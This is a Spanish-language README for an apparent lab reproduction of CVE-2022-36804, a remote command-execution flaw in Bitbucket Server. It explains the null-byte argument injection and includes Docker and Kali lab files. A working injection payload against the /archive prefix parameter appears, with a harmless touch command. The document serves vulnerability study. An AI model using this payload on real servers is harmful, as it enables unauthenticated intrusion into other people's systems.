Reproducción de la cadena completa de CVE-2022-36804 (Bitbucket RCE). Incluye un laboratorio Dockerizado, monitoreo con pspy64 para verificación de inyección de byte nulo y un script de exploit personalizado en Bash. Basado en la investigación de Assetnote.
CVE-2022-36804 es una vulnerabilidad de Inyección de Argumentos alta/crítica dentro de la API REST de Atlassian Bitbucket Server y Data Center.
Mientras que la puntuación base oficial de la NVD (National Vulnerability Database) es 8.8 (Alta) basada en el supuesto de que se requieren privilegios de lectura (PR:L), este análisis lo trata como una falla de 9.8 (Crítica) (PR:N). Si un repositorio objetivo tiene habilitado el acceso público (una configuración común), el vector de explotación se vuelve completamente pre-autenticado.
Este repositorio documenta una reproducción completa en laboratorio de la cadena de explotación, directamente basada en la investigación técnica publicada por Assetnote.
El análisis detalla la transición desde la orquestación del entorno y la evasión de filtros de seguridad hasta lograr un shell inverso interactivo. Como se describe en el descubrimiento original, esta falla permite la Ejecución Remota de Comandos (RCE), que puede ser explotada sin autenticación si el repositorio objetivo tiene habilitado el acceso público.
La vulnerabilidad tiene su raíz en un "Desajuste de Impedancia de Sanitización" entre el entorno de ejecución de la aplicación Java y el Sistema Operativo Linux.
Como se destaca en la investigación de Assetnote, Bitbucket utiliza la librería NuProcess para construir y ejecutar comandos Git. Cuando un usuario proporciona un parámetro prefix al endpoint /archive, Bitbucket no elimina los caracteres nulos (%00) antes de pasar la lista de argumentos al SO.
execve() procesa el comando, corta la cadena en %00. Debido a cómo NuProcess pasa los datos, el SO trata todo lo que sigue al byte nulo como un argumento de línea de comandos completamente nuevo.Al inyectar --exec=..., un atacante sale del flag --prefix previsto y fuerza al proceso git archive a ejecutar un binario arbitrario, lo que lleva a una Ejecución Remota de Comandos (RCE).
Para entender cómo el exploit pasa de un simple parámetro URL a un comando a nivel de SO, debemos diseccionar la estructura del payload y observar el "Desplazamiento de Array".
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
| Componente | Propósito | Rol Técnico |
|---|---|---|
prefix=x | Requisito | git archive necesita un prefijo; x actúa como marcador de posición. |
%00 | El Cuchillo | Byte Nulo. Java lo pasa, pero el kernel de Linux basado en C termina la cadena aquí. |
--exec=... | El Disparador de RCE | El Flag Peligroso. Abusa de la característica incorporada de Git para ejecutar programas externos. |
touch ... | La Acción | El comando a ejecutar. PoC seguro para verificar RCE. |
--remote=... | El Basurero | Consume el ID de Commit (añadido por Bitbucket) como argumento válido, asegurando que el comando se ejecute limpiamente sin errores de sintaxis. |
Esto ilustra el núcleo de la vulnerabilidad: cómo Datos (un prefijo de directorio) se transforman en una Instrucción (un flag de comando).
Contexto de Ejecución de Java (Estado Inicial):
Java ve una única cadena larga como el tercer argumento.
[
"git", // Index 0
"archive", // Index 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Index 2: The single, polluted string
"1a2b3c4d..." // Index 3: Appended by Bitbucket
]
Ejecución del Kernel de Linux (Estado Explotado):
La syscall execve() del kernel divide la cadena en cada byte nulo (\0), desplazando los flags inyectados a sus propias posiciones independientes en el array de argumentos del proceso.
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Executable
"archive", // argv[1]: Subcommand
"--prefix=x", // argv[2]: Terminated early by %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: THE INJECTED FLAG (RCE)
"--remote=file:///", // argv[4]: THE TRASHCAN (Redirects logic)
"1a2b3c4d..." // argv[5]: COMMIT ID (Consumed by --remote)
]
Para simular una superficie de ataque realista, el entorno de laboratorio utiliza una arquitectura de dos contenedores aislados dentro de una red puente de Docker (hacking_net). Esta configuración asegura que la explotación y el monitoreo se puedan realizar en un entorno controlado sin afectar al sistema anfitrión.
Nodo Víctima: Ejecuta Atlassian Bitbucket Server versión 7.17.1. El contenedor se llama intencionalmente bitbucket-victim. Esto refleja un refinamiento crítico de diseño para garantizar el cumplimiento con la aplicación de RFC 7230 de Apache Tomcat. Al usar un guion en lugar de un guion bajo, el entorno evita los errores 400 de "Carácter Inválido" que ocurren durante la ejecución del payload, un obstáculo técnico clave identificado y resuelto durante la fase de investigación.
Nodo Atacante: Una imagen personalizada de Kali Linux rolling. A diferencia de una imagen estándar, este nodo está preaprovisionado con el conjunto de herramientas específicas requeridas para esta cadena de explotación: git para la manipulación de repositorios, curl para la entrega del payload y netcat-traditional para capturar el shell inverso.
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]